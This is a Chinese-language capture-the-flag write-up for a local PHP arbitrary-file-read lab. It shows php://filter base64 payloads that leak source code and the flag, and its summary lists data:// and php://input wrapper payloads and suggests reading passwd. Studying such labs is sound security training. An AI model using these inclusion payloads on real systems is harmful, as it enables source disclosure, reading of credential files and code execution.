RandomFileRead-1
前言
这个练习主要是关于任意文件读取的漏洞的一个练习。
部署环境
这里使用的是 docker-compose
下面给出配置文件,直接保存运行即可。
配置文件
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
- 80:80
启动方式
docker-compose up -d
随后直接使用浏览器访问 localhost
即可。
思路 & 解题过程
这次就主要是先说一下这个解题思路,主要是首先观察到当参数是 ?p=hello
的时候,返回的结果是 hello world
。
然后看到参数的样式怀疑是文件包含或者是文件读取,尝试一下其他的,观察响应包的内容。传入其他参数的时候响应包是空的,但是当参数是 flag
的时候返回的结果就是 no no no
。
尝试读取
这里尝试使用伪协议对文件的内容进行读取,使用下面的语句当做参数传递:
php://filter/read=convert.base64-encode/resource=flag
这里解释一下,既然是改变参数发送了请求能够获得响应报文,那就说明这个文件是存在的,不然的话就会像是其他的参数一样是没有任何的响应的。文件的 base64
编码的内容如下:
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
└─$ echo PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9 | base64 -d
<?php
die('no no no');
//n1book{afr_1_solved}
flag
n1book{afr_1_solved}
同理,尝试读取一下 hello
的内容也是可以的。
└─$ echo PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7 | base64 -d
<?php
echo "hello world!";
总结
这种题目一定要抓住关键词,本题给了hello关键字,应该立马联想到伪协议读取hello,然后再读取passwd等文件
data伪协议写入文件,php://filter用于读取源码,php://input用于执行php代码
- file=php://filter/read=convert.base64-encode/resource=useless.php
- text=data://text/plain,welcome to the zjctf
- text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=